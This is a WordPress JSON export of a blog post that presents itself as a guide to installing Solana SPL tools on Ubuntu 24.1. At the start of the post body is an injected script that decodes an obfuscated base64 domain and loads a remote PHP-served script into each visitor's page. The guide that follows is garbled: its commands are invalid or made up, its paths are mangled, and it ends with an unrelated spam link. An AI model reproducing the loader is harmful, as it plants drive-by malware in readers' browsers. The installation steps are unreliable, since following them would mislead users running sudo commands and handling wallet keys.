{"id":580,"date":"2025-02-09T06:10:19","date_gmt":"2025-02-09T06:10:19","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=580"},"modified":"2025-02-09T06:10:19","modified_gmt":"2025-02-09T06:10:19","slug":"solana-installing-solana-spl-from-terminal-ubuntu-24-1","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=580","title":{"rendered":"Solana: Installing solana spl from terminal ubuntu 24.1"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=57efbcdb\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Installing Solana Spl (Smart Contract) On Ubuntu 24.1 With Rust <\/strong><\/p>\n<\/p>\n<p>Package. System.<\/p>\n<\/p>\n<p><strong> Step 1: Update the Package Index and Install Dependencies <\/strong><\/p>\n<\/p>\n<p>Before Installing Solana Spl, Ensure Your System is Up-To-Date by Running:<\/p>\n<\/p>\n<p>`<code><\/code>bash<\/p>\n<\/p>\n<p>sudo apt update<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>If any dependencies are missing, install them using:<\/p>\n<\/p>\n<p>`<code><\/code>bash<\/p>\n<\/p>\n<p>sudo apt install -y-no-really-realmends build-essential libssl-dev zlib1g-dev libsqlite3-dev<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><strong> Step 2: Install Rust and the Solana Client <\/strong><\/p>\n<\/p>\n<p>You already have rust installed. To get it up and running with Solana Spl, you&#8217;ll need to install the Official Solana Client:<\/p>\n<\/p>\n<p>`<code><\/code>bash<\/p>\n<\/p>\n<p>sudo apt install solana-client-core solana-stable<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>The `<code><\/code>option ensures that any prompts are answered automatically.<\/p>\n<\/p>\n<p><strong> Step 3: Create a New Wallet and Install The Solana Cli <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/1U1ae2D2jk4\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>To interact with your solana network, you&#8217;ll need to create a new wallet. Run:<\/p>\n<\/p>\n<p>`<code><\/code>bash<\/p>\n<\/p>\n<p>Solana-Keygen-Path .\/Key.Pem<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>This will generate a private key in <code>.\/Key.pem<\/code>. Make sure to keep this file secure.<\/p>\n<\/p>\n<p><strong> Step 4: Install the Solana Cli <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Solana: Installing solana spl from terminal ubuntu 24.1\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/06d5f173.png\"><\/p>\n<\/p>\n<p>Run the following Command to install the Solana Cli for Your Local Machine:<\/p>\n<\/p>\n<p>`<code><\/code>bash<\/p>\n<\/p>\n<p>sudo curl -ss  \u523a\u6fc0 -v1.9.0-linux-md64.tar.gz | TAR -C\/USR\/LOCAL\/BIN -XVZF<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><strong> Step 5: Add the Solana Cli to Your System&#8217;s Path <\/strong><\/p>\n<\/p>\n<p>Solana-cli<code>is located to your system's path environment variable.<\/p>\n<\/p>\n<p><\/code><code><\/code>bash<\/p>\n<\/p>\n<p>sudo MV\/USR\/Local\/bin\/Solana-Cli\/USR\/Local\/Bin\/<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><strong> Step 6: Verify Your Installation <\/strong><\/p>\n<\/p>\n<p>Open a new terminal and verify that your solana cli is installed by running:<\/p>\n<\/p>\n<p>`<code><\/code>bash<\/p>\n<\/p>\n<p>Solana Status<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>This should display display the Solana Network&#8217;s current status, including any SPL contracts you&#8217;ve deployed.<\/p>\n<\/p>\n<p>That&#8217;s it! Ubuntu 24.1 with Rust, and Can Start Deploying Your Own Spl contracts using this setup as a starting point.<\/p>\n<\/p>\n<p><strong> Additional Tips: <\/strong><\/p>\n<\/p>\n<ul>\n<li>Solana, ensuring the solana cli or running <code>Solana status<\/code><\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Run:<\/li>\n<\/ul>\n<\/p>\n<p>`<code><\/code>bash<\/p>\n<\/p>\n<p>Git Pull &#8211; -all<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>.<\/p>\n<p><a href=\"https:\/\/h1computer.com\/ethereum-websocket-handshake-declined-by-remote-peer\/\">ethereum handshake declined<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Installing Solana Spl (Smart Contract) On Ubuntu 24.1 With Rust Package. System. Step 1: Update the Package Index and Install Dependencies Before Installing Solana Spl, Ensure Your System is Up-To-Date by Running: `bash sudo apt update ` If any dependencies are missing, install them using: `bash sudo apt install -y-no-really-realmends build-essential libssl-dev zlib1g-dev libsqlite3-dev ` [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/580"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=580"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/580\/revisions"}],"predecessor-version":[{"id":582,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/580\/revisions\/582"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}